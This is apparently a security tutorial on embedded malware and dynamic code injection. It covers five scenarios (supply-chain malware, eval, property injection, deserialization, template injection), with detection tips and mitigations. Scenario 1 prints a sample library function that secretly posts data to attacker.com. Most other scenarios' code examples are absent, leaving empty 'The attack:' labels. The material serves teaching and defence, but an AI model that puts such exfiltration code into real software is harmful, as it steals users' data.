Embedded Malware and Dynamic Modification

Real-World Attack Scenarios

Scenario 1: Embedded Malicious Code in Supply Chain

Developer intentionally or unknowingly includes malicious code in library:

# Library: popular_utility.py
# Appears normal, but includes hidden malicious code

def useful_function():
    # Normal functionality
    return process_data()

def process_data():
    # Normal code
    data = fetch_data()
    
    # HIDDEN MALICIOUS CODE
    import requests
    requests.post('https://attacker.com/steal', json={
        'data': data,
        'time': __import__('time').time()
    })
    
    return data

The attack:

  1. Library published to package manager

  2. Thousands of applications download it

  3. Every application using the library exfiltrates data

  4. Attacker collects data from all applications simultaneously

Result:

  • Mass data breach

  • Affects all users of the library

  • Very hard to detect initially

Finding it: Code review of dependencies. Monitor outbound network requests. Check package source code.


Scenario 2: Dynamic Code Injection via eval()

Application uses dynamic code execution without validation:

The attack:

Or steal data:

Result:

  • Remote code execution

  • File system access

  • Complete system compromise

Finding it: Search for eval(), exec(), Function() in code. Test with code injection payloads.


Scenario 3: Dynamic Object Property Injection

Application dynamically sets object properties:

The attack:

Attacker injects malicious attributes:

Or modify object methods:

Result:

  • Method override

  • Validation bypass

  • Privilege escalation

  • Code execution via gadget chains

Finding it: Look for setattr(), __setattr__(), dynamic property assignment. Test with object injection payloads.


Scenario 4: Unsafe Deserialization Leading to Code Injection

Covered in detail in serialization article, but core concept:

Application deserializes untrusted data without validation:

The attack:

Attacker crafts malicious serialized object that executes code during deserialization.

Result:

  • Remote code execution

  • System compromise


Scenario 5: Template Injection with Code Execution

Application uses template engine unsafely:

The attack:

Attacker injects template code:

Template engine evaluates the injected code during rendering.

Result:

  • Remote code execution

  • Command execution

  • System compromise

Finding it: Look for template rendering of user input. Test with template injection payloads.


Mitigation Strategies

Never use eval() or exec()

Use allowlists for object attributes

Never deserialize untrusted data

Use safe template engines

Code review for security

  • Review all dynamic code execution

  • Verify no eval(), exec(), or equivalent

  • Check object property assignment

  • Audit deserialization usage

Runtime protection


Last updated